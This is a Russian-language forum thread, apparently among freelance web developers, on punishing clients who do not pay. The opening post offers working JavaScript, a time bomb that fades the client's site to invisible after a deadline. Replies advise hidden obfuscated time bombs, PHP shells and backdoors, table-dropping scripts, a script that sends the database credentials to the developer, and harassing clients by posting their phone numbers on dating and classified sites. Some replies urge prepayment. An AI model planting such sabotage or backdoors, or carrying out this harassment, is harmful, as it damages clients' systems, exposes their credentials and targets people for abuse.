Если заказчик не хочет платить)

ponoroshca

Созидатель (II)
Сообщения
2
Симпатии
3
Баллы
31
Всем привет) Мой первый пост на новом форуме я решим поделится не большим лайф хаком, так можно себя подстраховать если вы чувствуете что заказчик мутный тип)
Про шелки я вообще молчу, но способ действенный и очень простой, код JS ниже.
Пользуйтесь и будьте аккуратнее
JavaScript:
(function(){
    /* Переменные - дата дедлайна и количество дней */
    var due_date = new Date('2017-02-27');
    var days_deadline = 60;
    
    
    var current_date = new Date();
    var utc1 = Date.UTC(due_date.getFullYear(), due_date.getMonth(), due_date.getDate());
    var utc2 = Date.UTC(current_date.getFullYear(), current_date.getMonth(), current_date.getDate());
    var days = Math.floor((utc2 - utc1) / (1000 * 60 * 60 * 24));
    
    if(days > 0) {
        var days_late = days_deadline-days;
        var opacity = (days_late*100/days_deadline)/100;
            opacity = (opacity < 0) ? 0 : opacity;
            opacity = (opacity > 1) ? 1 : opacity;
        if(opacity >= 0 && opacity <= 1) {
            document.getElementsByTagName("BODY")[0].style.opacity = opacity;
        }
        
    }
    
})()
 
ИМХО: Намного более действенный способ разбивать проект на небольшие части (сколько не жалко потерять) и брать предоплату (минимум 50%) за каждый этап. Так будет проще и заказчику и исполнителю.
 
Достаточно культурно, только незабываем закодировать скрипт. Ну и оставить .php с шелом или дропом таблицы всегда эффективнее. А еще люблю хостеров у которых есть собственные API ключи. Один сгенерировать всегда не лишим будет.
 
Последнее редактирование:
Ну и оставить .php с шелом или дропом таблицы всегда эффективнее.
Это конечно не помешает но заказчик может обратиться к хостеру для восстановления сайта из резервной копии хостера.
 
А не проще ли вести разработку на своём хосте?
И не будет необходимости всякое говно в код подкладывать.
Тем более что всё это вычищается без особого напряга.
 
А еще не проще брать предоплату либо использовать какую-то фриланс биржу ( для бс сделки ) предупреждая заказчика что оплата комиссии будет с его стороны, ну либо делать у себя, а после оплаты переносить. Ну первый пост тоже не плох если есть какие-то ньюансы в работе, всегда по разному
 
А не проще ли вести разработку на своём хосте?
И не будет необходимости всякое говно в код подкладывать.
Тем более что всё это вычищается без особого напряга.
Бывает когда заказчик настаивает или просит сделать у него мелкие правки! Тут можно защитить себя только шелкой или скриптом, но и это не поможет, он может сделать бекапы к примеру!
 
Всегдя использую тайм-бобмы (делаю обфускацию кода включая необходимый код в неожиданных местах, с использованием переменных в общем коде), таймер обычно на 30 дней с момента сдачи, мне этого вполне достаточно и для доработок и своевременной оплаты.
 
Как говорит Соркус, без предоплаты вести лучше разработку на своём хостинге.
На нормальных хостингах, установлены антивирусы в связи с этим залить шелл/файловый менеджер не представляется возможным по причине их удаления или палева.
Оптимальный вариант, написать небольшой скриптик, который будет отправлять данные подключения к БД и полный путь к сайту на почту или post запросом. Имя данные для подключения к БД, можно попасть например в myphpadmin. Скрипт устанавливать вместе с движком.

Пару раз кидали на крупные суммы, приходилось поступать радикально:
На порталах гачи-знакомств размещать номера, писать нелепые объявления о работе с "хорошими условиями труда".
В общем, весёлый тамада и конкурсы у него интересные :crazy:
 
Последнее редактирование:
Все ваши шеллы, скриптики-тамеры и тд, фиксятся спецом за час максимум, если даже все удалили, поднялись с бека, нашли гадость и удалили, вариант с шифрованием тоже такое-себе, самый оптимальный вариант это вести разработку у себя на хосте, после оплаты переносить на хостинг клиента.
 
1) люди не любят менять телефоны, если заказчик не хочет платить, то все контакты, так или иначе полученные от заказчика улетают на авито, олх и т.п. (нужное подчеркнуть), регион размещения объявления: чтобы у заказчика/менеджера и т.п была ночь. и кайфули: покупка шин, продажа куриц, лизинг свиней, микрокредиты и прочая лабуда. поменяли контакты? да не вопрос. получаем новые из интернета и: "давай по новой, Миша, все фигня" 2) делаем закладку: например, отправку 1 пикселя к себе на сайт, чтобы знать: на какой домен ушел ваш код. И домен раз за разом влетает в черные базы хруммера и подобного добра. Куда-нибудь в админочку на частое действие. Обфускацию не использовать. Можно что-нибудь типа string.fromcharcode string.charcodeat. Ключи для раскрутки на Ваш выбор. В итоге головной боли будет гораздо больше, чем кидать разработчика на честно заработанные. Ну и с вами все это связано только очень косвенным способом. А вот шеллы и прочее добро - это уже явные улики. А воевать с юристами очень крупной фирмы ну его нафиг. Плетью обуха не перешибешь.

Но, опять же, у вас много времени? Ну не заплатил, ну и хрен с ним. У вас один заказчик? Просто он не получит ни одной консультации по дальнейшему коду, а в живом проекте эксперименты всегда стоят денег, причем больших, чем он должен будет вам.
 
Последнее редактирование:
Все ваши шеллы, скриптики-тамеры и тд, фиксятся спецом за час максимум, если даже все удалили, поднялись с бека, нашли гадость и удалили, вариант с шифрованием тоже такое-себе, самый оптимальный вариант это вести разработку у себя на хосте, после оплаты переносить на хостинг клиента.
Некоторые не только сайтики делают (я к тому что есть крайне специализированные продукты, которые "специалист" далеко не сразу разберется как ПО устроено и какие правки/модули/сервисы были созданы/изменены).

PS: А по поводу сайтиков, да, все верно, только свой хост и только после получения > 50% оплаты начинать разворачивать на площадке клиента.
 
Мне кажется, что такой скриптик очень легко будет найден через просмотр атрибутов в dev консоли и дале по списку, кто инициировал данные изменения.
Как уже выше писали: если не доверяете клиенту, то самое разумное вести разработку на своем хостинге.
 
И делается это за 3 минуты. Действительно, ведите разработку у себя.
 
Всегдя использую тайм-бобмы (делаю обфускацию кода включая необходимый код в неожиданных местах, с использованием переменных в общем коде), таймер обычно на 30 дней с момента сдачи, мне этого вполне достаточно и для доработок и своевременной оплаты.
А можно об этом по подробнее?) очень уж интересная тема)
 
А можно об этом по подробнее?) очень уж интересная тема)
Ну а что тут сложного и непонятного ?
Фиксируем timestamp и затем сравниваем его с текущим, если пора, то отключаем нужный функционал. Вызовы time, как и сам алгоритм проверки, можно спрятать любым строковым кодированием, да хоть разложение в конкатенацию.
 
Проще бекдор вшить в проэкт а потом в случае отказа сделать каку.
 
Мне кажется, что такой скриптик очень легко будет найден через просмотр атрибутов в dev консоли и дале по списку, кто инициировал данные изменения.
Как уже выше писали: если не доверяете клиенту, то самое разумное вести разработку на своем хостинге.
Подгружаем через апи вместе с основным функционалом, будет немного сложней избавиться
 
Если сложный или затратный по часам проект, тогда работа только через предоплату и касается это не только написания кода, а вообще в целом. При таком подходе, все кто захотят изначально кинуть, не будут платить предоплату и риск нарваться на недобросовестных заказчиков минимальный. Те, кто ценят свое время, не работают без предоплаты.
 
Накидал тайм бомбу.
При наступлении часа ч, сносит все файлы по шаблону, в данном случае все php файлы, включая себя

А так, 100% предоплата украшает человека
 
Последнее редактирование:
Назад
Верх